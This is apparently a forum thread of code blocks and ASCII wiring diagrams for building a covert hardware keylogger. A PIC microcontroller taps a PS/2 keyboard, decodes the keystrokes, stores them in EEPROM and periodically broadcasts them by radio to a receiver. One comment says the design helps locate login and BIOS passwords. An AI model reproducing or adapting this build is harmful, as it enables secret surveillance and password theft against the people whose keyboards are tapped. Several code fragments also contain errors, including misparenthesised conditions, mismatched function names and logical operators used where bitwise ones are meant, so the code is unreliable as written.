Code: |
Antenna* \|/ ________________________ | | / \ | | || | TXM (SIL) Module | | |_\__/___________________| | |1 |2 |3 |4 |5 | | | | | | | | | +--|-------------------------------------> GND | | | | __________ | | | | |@ | | | | +--[|1 18|]------------+--------> CLOCK +--------+ | [|2 17|]------------|---+----> DATA | [|3 16|]-/10Mhz\ | | +-[4.7k]-[|4 PIC 15|]-\XTAL / | | +--------[|5 16F84 14|]------------|---|----> GND | [|6 13|] | | | [|7 12|] [4.7k] | | [|8 11|] | | | [|9 10|] | [4.7k] | |__________| | | | | | +----------------------------------+---+----> +5v *Antenna construction and placement will be covered later. |
Code: |
#include <16F84A.h> #use delay(clock=10000000) #fuses NOWDT,HS, NOPUT, NOPROTECT #use rs232(baud=1200,parity=N,xmit=PIN_A2,rcv=PIN_A3,bits=9) void clockwait(void); void main() { unsigned char byt; // Holds each byte received setup_counters(RTCC_INTERNAL,RTCC_DIV_1); while(1) // Loop forever... { byt=0; // Starting a new data frame clockwait(); // Ignore start bit for(t=0;t<8;t++) // Grab eight bits of data... { clockwait(); byt|=input(PIN_A0)<<t; } clockwait(); // Ignore parity bit clockwait(); // Ignore stop bit putc(byt); // Send byte to the transmitter } // ... rinse and repeat :) } clockwait() { // Waits for the next clock cycle... while(!input(PIN_A1)); // Wait for clock to go HI while(input(PIN_A1)); // Wait for clock to go LO } |
Code: |
Antenna \|/ _____________________________ | | / \ | | || | RXM (SIL) Module | | | \__/ | | | | | |_____________________________| | |1 |2 |3 |4 |5 |6 |7 | | | | | | | | __________ | | | | | | |@ | | | [R2] | [R1] +--[|1 18|]---------+ +--------+ | | | [|2 17|] | | | | [|3 16|] ------|------------- | | | [|4 MAX 15|] \ O1 O2 O3 O4 O5/ | | | [|5 233 14|] \ DB-9 / | +--|--------[|6 13|] \ O6 O7 O8 O9/ | | +--------[|7 12|] -------------|- | | | [|8 11|] | | +--|--------[|9 10|] | | | | |__________| | | | | | +--|--+-----------------------------------------|-> +5V | | | | | | +--------------------------------------------+-> GND R1 = Resistor 200 Ohm R2 = Resistor 10k |
Code: |
putc(byt); // Send byte to the transmitter
|
Code: |
void main() { --snip-- putc(toASCII(byt)); // Send byte to the transmitter --snip-- } void toASCII(unsigned char scancode) { unsigned char asciicode; asciicode = 0; // Since we are only converting 10 keys we can use a switch // statement - For many keys it would seem more efficient to // use a lookup table however our onboard RAM is VERY limited // (we have a miniscule 68 bytes total RAM, tiny huh?) switch(scancode) { case 0x45: asciicode = '0'; break; case 0x16: asciicode = '1'; break; case 0x1E: asciicode = '2'; break; case 0x26: asciicode = '3'; break; case 0x25: asciicode = '4'; break; case 0x2E: asciicode = '5'; break; case 0x36: asciicode = '6'; break; case 0x2D: asciicode = '7'; break; case 0x3E: asciicode = '8'; break; case 0x46: asciicode = '9'; break; default: asciicode = '?'; } return asciicode; } |
Code: |
#include <16F87.h> #use delay(clock=10000000) #fuses NOWDT,HS, NOPUT, NOPROTECT #use rs232(baud=1200,parity=N,xmit=PIN_A2,rcv=PIN_A3,bits=9) // Prototypes void clockwait(void); void ProcessCompleteEvent(void); void main() { setup_counters(RTCC_INTERNAL,RTCC_DIV_1); while(1) // Loop forever... { ProcessCompleteEvent(); // Process and transmit complete key events } } void ProcessCompleteEvent(void) { unsigned char BYT; // Holds the last byte read unsigned char FLG; // Flags to indicate EO, FO unsigned char t; // General counter // // Significance of each bit of the FLG byte : // 128 - COMPLETE (We have the complete scancode) // 64 - no significance // 32 - no significance // 16 - no significance // 8 - no significance // 4 - no significance // 2 - EXTENDED (BYT was preceeded with E0) // 1 - RELEASED (BYT was preceeded with F0) // Start with a clean slate FLG = 0; //////////////////////////////////////// // Grab an entire scancode sequence // // including preceeding E0, F0 bytes // //////////////////////////////////////// // Repeat until the key is complete ... while(!FLG & 128) { ///////////////////////////////////////// // GET THE NEXT BYTE FROM THE KEYBOARD // // // // This code should look very familiar // // as it is unchanged from last time // ///////////////////////////////////////// BYT = 0; // Starting a new data frame clockwait(); // Ignore start bit for(t=0;t<8;t++) // Grab eight bits of data... { clockwait(); BYT|=input(PIN_A0)<<t; } clockwait(); // Ignore parity bit clockwait(); // Ignore stop bit /////////////////////////////////// // WHAT TYPE OF BYTE IS THIS ??? // /////////////////////////////////// switch (BYT) { case 0xF0 : FLG |= 1; // Set the RELEASED bit break; case 0xE0 : FLG |= 2; // Set the EXTENDED bit break; default : FLG |= 128; // Set the COMPLETE bit } } ///////////////////////////////////////////////////// // Once we get to here the key is in BYT and the // // FLG variable reflects any E0 or F0 modifiers. // ///////////////////////////////////////////////////// // Is this an EXTENDED key ? if(FLG & 2) { //////////////////////////////////////// // HERE WE PROCESS EXTENDED (E0) KEYS // //////////////////////////////////////// // enclose in square brackets (start) putc('['); // Was keypress Down or Up if(FLG & 1) { // Keys we send on UP messages switch (BYT) { // Output the name of the key released... case 0x14 : puts ("R_CTRL UP");break; case 0x11 : puts ("R_ALT UP"); break; default : puts("??? UP"); // Unknown key released } } else { // Keys we ONLY send on DOWN messages switch (BYT) { // Output the name of the key pressed... case 0x14 : puts ("R_CTRL"); break; case 0x11 : puts ("R_ALT"); break; case 0x7C : puts ("PRINT"); break; case 0x70 : puts ("INS"); break; case 0x6C : puts ("HOME"); break; case 0x7D : puts ("PG_UP"); break; case 0x71 : puts ("DEL"); break; case 0x69 : puts ("END"); break; case 0x7A : puts ("PG_DN"); break; case 0x75 : puts ("UP"); break; case 0x6B : puts ("LEFT"); break; case 0x72 : puts ("DOWN"); break; case 0x74 : puts ("RIGHT"); break; case 0x4A : puts ("KP_/"); break; case 0x5A : puts ("KP_ENTER");break; case 0x37 : puts ("POWER"); break; case 0x3F : puts ("SLEEP"); break; case 0x5E : puts ("WAKE"); break; default : puts("???"); // Unknown key pressed } } // enclose in square brackets (end) putc(']'); } else { //////////////////////////////////////////////// // HERE WE PROCESS NON-EXTENDED (non-E0) KEYS // //////////////////////////////////////////////// // Was keypress Down or Up if(FLG & 1) { // Keys we send on UP messages switch (BYT) { // Output the name of the key released... case 0x59 : puts ("[R_SHIFT UP]"); break; case 0x12 : puts ("[L_SHIFT UP]"); break; case 0x14 : puts ("[L_CTRL UP]"); break; case 0x11 : puts ("[L_ALT UP]"); break; default : puts("[? UP]"); // Unknown key released } } else { // Keys we ONLY send on DOWN messages switch (BYT) { // Output the name of the key pressed... case 0x59 : puts ("[R_SHIFT]");break; case 0x12 : puts ("[L_SHIFT]");break; case 0x14 : puts ("[L_CTRL]"); break; case 0x11 : puts ("[L_ALT]"); break; case 0x45 : putc ('0'); break; case 0x16 : putc ('1'); break; case 0x1E : putc ('2'); break; case 0x26 : putc ('3'); break; case 0x25 : putc ('4'); break; case 0x2E : putc ('5'); break; case 0x36 : putc ('6'); break; case 0x3D : putc ('7'); break; case 0x3E : putc ('8'); break; case 0x46 : putc ('9'); break; case 0x1C : putc ('A'); break; case 0x32 : putc ('B'); break; case 0x21 : putc ('C'); break; case 0x23 : putc ('D'); break; case 0x24 : putc ('E'); break; case 0x2B : putc ('F'); break; case 0x34 : putc ('G'); break; case 0x33 : putc ('H'); break; case 0x43 : putc ('I'); break; case 0x3B : putc ('J'); break; case 0x42 : putc ('K'); break; case 0x4B : putc ('L'); break; case 0x3A : putc ('M'); break; case 0x31 : putc ('N'); break; case 0x44 : putc ('O'); break; case 0x4D : putc ('P'); break; case 0x15 : putc ('Q'); break; case 0x2D : putc ('R'); break; case 0x1B : putc ('S'); break; case 0x2C : putc ('T'); break; case 0x3C : putc ('U'); break; case 0x2A : putc ('V'); break; case 0x1D : putc ('W'); break; case 0x22 : putc ('X'); break; case 0x35 : putc ('Y'); break; case 0x1A : putc ('Z'); break; case 0x29 : puts (" "); break; case 0x0D : puts ("[TAB]"); break; case 0x5A : puts ("[ENTER]"); break; case 0x76 : puts ("[ESC]"); break; case 0x05 : puts ('[F1]'); break; case 0x06 : puts ('[F2]'); break; case 0x04 : puts ('[F3]'); break; case 0x0C : puts ('[F4]'); break; case 0x03 : puts ('[F5]'); break; case 0x0B : puts ('[F6]'); break; case 0x83 : puts ('[F7]'); break; case 0x0A : puts ('[F8]'); break; case 0x01 : puts ('[F9]'); break; case 0x09 : puts ('[F10]'); break; case 0x78 : puts ('[F11]'); break; case 0x07 : puts ('[F12]'); break; // ETC... (ADD THE REST YOURSELF, SYMBOLS ETC) // // Why? Because scancodes indicate a key position // not a specific meaning - Therefore keyboards may // vary. Normally this doesn't matter because the // PC uses a 'codepage' to translate between scancode // and ASCII but we are hardcoding KB specific values. default : puts("[?]"); // Unknown key pressed } } } return; } void clockwait(void) { // Waits for the next clock cycle... while(!input(PIN_A1)); // Wait for clock to go HI while(input(PIN_A1)); // Wait for clock to go LO } |
Code: |
static int ScanToAscii(DWORD scancode, ushort* result) { static HKL layout=GetKeyboardLayout(0); static uchar State[256]; if (GetKeyboardState(State)==FALSE) return 0; UINT vk=MapVirtualKeyEx(scancode,1,layout); return ToAsciiEx(vk,scancode,State,result,0,layout); } |
Code: |
Antenna \|/ _____________________________ | | / \ | | || | RXM (SIL) Module | | | \__/ | | | | | |_____________________________| | |1 |2 |3 |4 |5 |6 |7 | | | | | | | | __________ | | | | | | |@ | | | [R2] | [R1] +--[|1 18|]---------+ +--------+ | | | [|2 17|] | | | | [|3 16|] ------|------------- | | | [|4 MAX 15|] \ O1 O2 O3 O4 O5/ | | | [|5 233 14|] \ DB-9 / | +--|--------[|6 13|] \ O6 O7 O8 O9/ | | +--------[|7 12|] -------------|- | | | [|8 11|] | | +--|--------[|9 10|] | | | | |__________| | | | | | +--|--+-----------------------------------------|-> +5V | | | | | | +--------------------------------------------+-> GND R1 = Resistor 200 Ohm R2 = Resistor 10k |
Code: |
Antenna Attach \|/ _____________________________ USB Cable | | / \ | | | || | RXM (SIL) Module | V | | \__/ | ____________ | | | | | | | | |_____________________________| [|1 | USB |32|] | |1 |2 |3 |4 |5 |6 |7 [|2 | Conn |31|] | | | | | | | | |______| | | | [R2] | [R1] | | | | | | | | | [|5 28|]---+ +--------+ +--|--+-----|-----+--------------[|6 27|] | | | +--[R3]--(|<)--[|7 26|] | | | LED [|8 25|]---+ | | [|9 USBMOD 24|] | | | [|10 23|] | | | [|11 22|] | | | [|12 21|] | | | [|13 20|] | | +--------------------[|14 19|] | | [|15 18|] | | [|16 17|] | | |____________| | | | +------------------------------------------------+ [R1] = Resistor 200 Ohm [R2] = Resistor 10k [R3] = Resistor 100 Ohm (|<) = LED (USB Data Indication) |
Code: |
[|5 28|]---+ <---------[|6 27|] | [|7 26|] | [|8 25|]---+ [|9 USBMOD 24|] | [|10 23|] | |
Code: |
[|5 28|]---+ To +5v <----+--------------[|6 27|] | +--[R3]--(|<)--[|7 26|] | LED [|8 25|] +-------> To GND [|9 USBMOD 24|] | [|10 23|] | |
Code: |
Next databurst
in... 3m 59s |
Code: |
void main() { #include <lcd.h> // Initialise LCD lcd_init(); delay_ms(10); // LCD takes tme to perform init ... snip ... // Write 'full 9 yards' to LCD device printf(lcd_putc,"/fFull %u yards", 9); /* '/f' clears the LCD display */ delay_ms(10); } |
Code: |
// lcd_init() Must be called before any other function. // lcd_putc(c) Will display c on the next position of the LCD. // The following have special meaning : // \f Clear display // \n Go to start of second line // \b Move back one position // lcd_gotoxy(x,y) Set write position on LCD (upper left is 1,1) // lcd_getc(x,y) Returns character at position x,y on LCD // Prototypes... void lcd_init(); byte lcd_read_byte(); void lcd_send_nibble( byte n ); void lcd_send_byte( byte address, byte n ); void lcd_gotoxy( byte x, byte y); void lcd_putc( char c); char lcd_getc( byte x, byte y); |
Code: |
#define PLAYBACK_BUTTON PIN_a2 void main() { ...snip initialisation ... while(TRUE) { ... snip main program functions... // Is the PLAYBACK button pressed ? if(input(PLAYBACK_BUTTON)!=0) /* Pushbutton wired to pull pin A2 high */ { for(t=0;t<EEPROM_SIZE;t++) { // Here we 'putc' each byte of the EEPROM to the // serial port. EEPROM_SIZE is 8192 for the // 24C65 and is defined in the '2465.C' driver. } } } } |
Code: |
+--------------------------------------------------> +5v | __________ | |@ | | (TXM)<--[|1 18|]-->(serial clock) | [|2 17|]-->(serial data) | [|3 16|]-->(10Mhz Xtal) | (TXM)<--[|4 PIC 15|]-->(10Mhz Xtal) _________ | (TXM)<--[|5 16F84 14|]-->(GND) +---[|1 8|]---+ [|6 13|] +---[|2 24C65 7|]-----+ [|7 12|] +---[|3 6|]-----|----------[|8 11|] +---[|4_______5|]-----|----------[|9 10|] | | |__________| | | +---------------------+------------------------------------------------> GND |
Code: |
// In your header we'd use... #include <2465.c> // Include the 24C65 device driver // Then, in the code... void init_ext_eeprom(); // Initialise the device for use void write_ext_eeprom(long int address, byte BYT); // Write a byte BYT = read_ext_eeprom(long int address); // Read a byte |
Code: |
#define BURSTINTERVAL 60 // 60 minutes between databursts unsigned INT16 BitBuffer; // Create a 16 bit fifo for bitstream unsigned INT8 BYT; // We place the keyboard data bytes here unsigned INT8 FLG; // We place the keyboard data flags here unsigned LONG nextaddress; // The next writeable address in EEPROM unsigned LONG burstaddress; // The next transmitted address in EEPROM unsigned LONG burstbeginning; // The start/end address for the circular databurst unsigned INT8 burstcountdown; // Number of minutes till next full burst /////////////////////////////////////////////////////////////// //// This is the keyboards ISR. It is called whenever the //// //// keyboards clock line transitions to LOW, which saves //// //// us from polling continuously. //// /////////////////////////////////////////////////////////////// KEYBOARDISR: { // Our ISR goes here, it captures each keyboard data bit as it occurs // and then evaluates the bits received so far to see if it is a complete // and valid frame. // // If it is FO (Key released) it sets bit 0 of FLG // If it is EO (Extended key) it sets bit 1 of FLG // If the scancode sequence is complete it sets BYT to the value of the key // and sets bit 7 of FLG (Indicating that FLG/BYT form a complete description // of an entire scancode sequence // // The code for this is covered in 'TXer Modification 2 - Synchronisation issues' } return from ISR; //////////////////////////////////////////////////////////////// //// This is the burst timer ISR. It is called once every //// //// minute. Every BURSTINTERVALth minute it will initiate //// //// a databurst (unless one is already running) All other //// //// times we simply emits a single byte, indicating the //// //// minutes remaining till the next full burst. //// //////////////////////////////////////////////////////////////// BURSTISR: { // One minute has elapsed, so decrement the minutes remaining till // next databurst by one burstcountdown--; if(burstcountdown == 0) { // Its time! if(burstaddress == 0xFFFF) { // Initiate a data burst burstaddress = nextaddress; burstbeginning = burstaddress; } // Reset the countdown burstcountdown == BURSTINTERVAL; } // Otherwise lets broadcast the number of minutes remaining // but only if we are not in the middle of a data burst else if(burstaddress == 0xFFFF) transmit(burstcountdown); } return from ISR; /*-- PROGRAM LOOP ----------------------------------------------------------------------*/ void main(void) { /////////////////////////////////// //// INITIALISATION ROUTINES //// /////////////////////////////////// // Seed the databurst countdown to BURSTINTERVAL burstcountdown = BURSTINTERVAL; // Seed the databurst with a 'No databurst' sentinel value burstaddress=0xFFFF; // Seed the bitbuffer /* bitbuffer = 0xFFFF; ignore this line for now, I will hit bitbuffering next section */ // Initialise EEPROM (Required before we can use the device) init_ext_eprom(); // Retrieve next useable address nextaddress = read_ext_eeprom(0xFFFE); // Read low byte nextaddress |= read_ext_eeprom(0xFFFF)<<8; // Read high byte // Place a marker in memory to indicate in the log that the computer was // restarted at this point (Useful for locating login/BIOS passwords) recordbytes(0xFF,0xFF); ///////////////////////////// //// MAIN PROGRAM LOOP //// ///////////////////////////// // Repeat forever... while(1) { //// HANDLE ONE KEYBOARD EVENT //// // If a key event is waiting to be processed... if(bit_test(FLG, 128)) { // Store it in memory recordbytes(FLG, BYT); } //// HANDLE ONE BYTE OF A DATABURST //// // If a databurst is in operation... if(burstaddress>0) { // Transmit the next byte doburst(); } } } /*-- IO ROUTINES -----------------------------------------------------------------------*/ //////////////////////////////////////////////////////////////////////// //// OUR RECORDBYTES ROUTINE... RECORDS TWO BYTES (ONE KEY EVENT) //// //////////////////////////////////////////////////////////////////////// void recordkey(INT8 value1, INT8 value1) { // Write the keyevent to next memory address write_ext_eeprom(nextaddress++, value1); write_ext_eeprom(nextaddress++, value2); // Perform circular increment (loop back to start if we overflow) if(nextaddress>0xFFFD) nextaddress = 0; // Store next address in case we lose power write_ext_eeprom(0xFFFF, (nextaddress && 0xFF00)>>8) write_ext_eeprom(0xFFFE, nextaddress && 0xFF) } //////////////////////////////////////////////////////////////////////// //// OUR DATABURST ROUTINE... TRANSMITS TWO BYTES (ONE KEY EVENT) //// //////////////////////////////////////////////////////////////////////// void doburst(void) { //////////////////////////////////////////////// //// Things to do at the start of a burst //// //////////////////////////////////////////////// // If burstaddress equals burstbeginning then the databurst has // only just begun, so lets transmit a 'start burst' sequence... if(burstaddress == burstbeginning) { // Send '<<' to indicate the beginning of the burst transmit('<'); transmit('<'); } /////////////////////////////////////// //// Things to do WHILE bursting //// /////////////////////////////////////// // Transmit the next memory address and increment transmit(read_ext_eeprom(burstaddress++)); // If we've reached the end of the buffer, loop to the beginning. Remember // to skip the last 2 bytes of memory as these are used to remember the value // of 'nextaddress' across reboots if(burstaddress>0x1FFD) { // Hit the end of useable memory, loop to the beginning burstaddress=0; } ////////////////////////////////////////////// //// Things to do at the end of a burst //// ////////////////////////////////////////////// // burstaddress has been incremented, therefore if burstaddress // is equal to burstbeginning again then we must have arrived back // at the point where the burst began... We can stop the burst. if(burstaddress == burstbeginning) { // we may terminate the databurst burstaddress=0xFFFF; // burstaddress of 0xFFFF means no burst // And send '>>' to indicate the completion of the burst transmit('>'); transmit('>'); } } |
Code: |
unsigned INT16 BitBuffer; // Create a 16 bit fifo for bitstream unsigned INT8 BYT; // We place the keyboard data bytes here unsigned INT8 FLG; // We place the keyboard data flags here LONG nextaddress; // The next writeable address in EEPROM LONG burstaddress; // The next transmitted address in EEPROM LONG burstbeginning; // The start/end address for the circular databurst /* sample of keyboard handling for the keyboard ISR*/ /////////////////////////////////////////////////////////////// //// This is the keyboards ISR. It is called whenever the //// //// keyboards clock line transitions to LOW, which saves //// //// us from polling continuously. //// //// //// //// Bits are shifted in through a 16 bit buffer and frame //// //// desynchronisation is detected/recovered automagicaly //// //// //// //// Resynchs are performed in the 16 bit FIFO bit buffer //// //// by slipping bits until START/STOP/PARITY are correct //// /////////////////////////////////////////////////////////////// { // Read a bit from the DATA line and shift it into the FIFO shift_right(&BitBuffer,2,input(PIN_A0)); // Bit5 (START) must be 0 (LOW) and BIT15 (STOP) must be 1 (HIGH) if the // frame is valid. Lets check frame validity... if(!bit_test(BitBuffer,5)) { // Found expected start of frame, if we're wrong we've lost our // synchronisation if(bit_test(BitBuffer,15) { // Looks like a valid synchronised frame unsigned INT8 ParityCount; // Used to count set bits for // parity check // Data byte is held in bits 13(MSB) to 6(LSB) inclusive. // The parity bit is the at bit14. In order for the data to be // considered valid there should be an ODD number of 1's in // these locations. Lets check data validity... // Loop through the 1 PARITY and 8 DATA bits... for(t=6;t<15;t++) { // Count the number of set bits Paritycount += bit_test(BitBuffer,t); } // If the ParityCount is ODD then we have valid data! if(bit_test(ParityCount,0)) { // We have a valid looking Data byte in bits 13(MSB) to // 6(LSB) inclusive. To make use of it we have to shift // it to the right (6 times) till it occupies the first // 8 bits of our 16 bit buffer. for(t=0;t<6;++t) shift_right(&BitBuffer,2,0); BitBuffer &= 0x00FF; // Mask off the upper byte // Determine the type of byte switch (BitBuffer) { case 0x00 : FLG = 0; // We don't process nulls break; case 0xF0 : FLG |= 1; // Set the RELEASED bit break; case 0xE0 : FLG |= 2; // Set the EXTENDED bit break; default : BYT = BitBuffer;// Remember the byte FLG |= 128; // Set the COMPLETE bit } // Clear the bitBuffer to all ones - so we can detect // the next start bit when it gets to BitBuffer bit 5 BitBuffer = 0xFFFF; } else { // We found a valid start and stop condition but the parity // is indicating an error. Abandon any FLG data as invalid // because it pertains to a corrupt keypress sequence -or- // we have lost synchronisation. FLG = 0; } } else { // We found a start condition but the stop condition is invalid. // It looks like we have lost frame synchronisation. Lets mark // any FLG data as invalid as it may pertain to an incomplete // keypress sequence. FLG = 0; } } } |
Code: |
void KeyboardHandler(void) { // Handler will check wether the clock has transitioned from HI to LO // since it was last called (Because it is no longer an ISR being called // explicitly when the transition occurs) if(output_bit(PIN_A1,0) == oldstate) return; // If pin hasn't changed state, return. oldstate = output_bit(PIN_A1,0); // Remember this new state for next time if(oldstate == 1) return; // If the transition was LO->HI, return, // If we are LO this time and were HI last time then we have a valid clock transition and should now // retrieve and process one bit from the data line and check as before... ... The rest of this routine is the same as the ISR version... } |
Code: |
LengthyRoutine(); { // Inhibit the keyboard clock ClockInhibit(TRUE); // HUUUUGE delay - 500ms (1/2 second) ... during this time keystrokes will be // buffered by the keyboard device. If we inhibit the clock during a scancode // the entire scancode will be repeated when the clock returns delay(500); // Inhibit the keyboard clock ClockInhibit(TRUE); } ClockInhibit(BOOL bInhibit) { if(bInhibit==TRUE) { // Inhibit keyboard clock line output_bit(PIN_A1,0); // Connect pin to ground (pulls the clock line low) } else { // Release keyboard clock line output_float(PIN_A1); // Allow the pin to float (Clock no longer held low) // Reseed the bitbuffer as any incomplete data in there is about // to be retransmitted anyway bitbuffer = 0xFFFF; } } |
output generated using printer-friendly topic mod, All times are GMT + 2 Hours